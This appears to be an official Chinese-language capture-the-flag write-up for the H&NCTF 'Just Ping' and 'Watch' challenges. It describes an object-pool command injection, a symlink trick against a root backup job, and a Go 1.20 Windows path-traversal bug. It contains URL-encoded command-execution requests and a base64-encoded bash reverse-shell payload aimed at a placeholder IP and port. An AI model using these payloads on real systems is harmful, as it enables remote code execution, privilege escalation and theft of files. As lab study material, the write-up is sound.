[H&NCTF]Just Ping以及Watch官方WP
[WEB+RE]Just Ping Part 1
这个题的逆向部分其实就是ida
打开后F5
看源码,下面分析一下
主要实现了两个接口/api/ping
和 /api/testDevelopApi
。
在前端也是有写的
继续找具体的实现函数PingHandle
看一下关键的部分
如果用户传入target
并且合法,进入这里从对象池中获取*[]string
对象
随后设置了一个defer
在函数退出时执行
就是将从池中获取的对象重新返回池中,但是这里在放回池中之前没有任何的清理动作,也就是说下次取用这个对象时这些数据仍会存在
这里就是将字符串数组的最后一个元素替换为用户传入的target
了
最后的执行和输出,然后来看DevelopmentHandler
大体上和PingHandle
相似,只不过没有真正的执行命令
同样的取对象和设置defer
放回池
解析用户输入到[]string
,同时检查错误和[]string
的长度,这里可以看到长度限制最大为4
最后将解析的[]string
赋值到前面从池中取出的对象,后面并没有执行就结束了
到这里逻辑就清晰了,访问/api/testDevelopApi
接口可以污染对象池中的对象,然后再访问/api/ping
接口就可以执行恶意命令
/api/testDevelopApi?cmd=sh%20-c%20%22ls%20%2F%22%20hnctf
这里注意输入命令和三个参数,最后一个随意但是需要有
/api/ping?target=127.0.0.1
这时最后一个元素hnctf
会被替换为127.0.0.1
,这并不影响我们执行命令
执行ls /
命令
拿flag
/api/testDevelopApi?cmd=sh%20-c%20%22cat%20%2Fflag%22%20hnctf
/api/ping?target=127.0.0.1
[WEB+RE]Just Ping Part 2
web
部分和part1
一样
直接反弹shell
的payload
sh%20-c%20%22echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC9pcC9wb3J0IDA%2BJjEK%20%7C%20base64%20-d%7C%20%2Fbin%2Fbash%22%20hnctf
//替换自己监听的ip port
/api/ping?target=127.0.0.1
getshell
后先看看有什么特殊的东西没
在/var/backups
下看见一个每分钟都会刷新的backup.zip
使用base64
输出 然后down
下来看看
base64 backup.zip
解压之后没有看到什么信息 这里就一个healthy
文件,内容是ok
继续
这里肯定是题目设定的 所以尝试用find
去搜索backup
相关的内容 看是否有其他的文件
find / -name "*backup*" 2>/dev/null
看到特殊的如下图:
分别看看/usr/local/etc/backup
和/usr/local/backupList
/usr/local/backupList:
看到有一个路径 /root/healthy
刚刚那个压缩包里也是叫healthy
的文件
再把/usr/local/etc/backup
拿下来分析一下
直接看main
函数就明了了,会通过../backupList
文件中的目录来绝定需要备份哪些文件进/var/backups/backup.zip
注意到用到了这个函数os.executable()
func Executable added in go1.8
func Executable() (string, error)
Executable returns the path name for the executable that started the current process. There is no guarantee that the path is still pointing to the correct executable. If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. If a stable result is needed, path/filepath.EvalSymlinks might help.
Executable returns an absolute path unless an error occurred.
The main use case is finding resources located relative to an executable.
它会获取可执行文件的绝对路径,再和下面的filepath.Dir()
和filepath.Abs()
组合,就可以拿到可执行文件绝对路径的目录路径,这时再拼接../backupList
取上级目录的backupList
这里有可乘之机,先看一下/usr/local/etc/
的权限
拥有完全的读写权限,开始操作
在etc
下创建一个tmp
目录,将backup
程序移动进去,同时创建backupList
文件在etc
目录下,包含/root/flag
内容
在etc
下创建backup
的软链接
随后静待backup.zip
刷新,base64
后拿下来解压即可
至于md5
校验,软链接并不影响md5
Watch
这个题其实挺简单的,但是没想到只有十多个解。
注意go
版本为1.20.10
看一看代码,主要是实现了一个目录、文件的浏览功能,使用/SystemRoot/
作为初始目录,实际上就是C:\Windows
用的是Windows NT Api
,拼接后的路径需要是NT Api
可解析的路径
可以使用\??\D:\
来访问到各盘符,但是如何使/SystemRoot/
与传入路径拼接后得到呢
这里需要提到go1.20
的漏洞了
Vulnerability Report: GO-2023-2185
简而言之,在这个版本下\SystemRoot\..\??\D:\
这样的路径会被错误的输出为\??\D:\
,从而导致穿越
而在新版会变成\.\??\D:\
,就不会导致穿越
于是构造payload
为..\??\D:\key.txt
即可拿到key
而新版本则会出现下列提示
0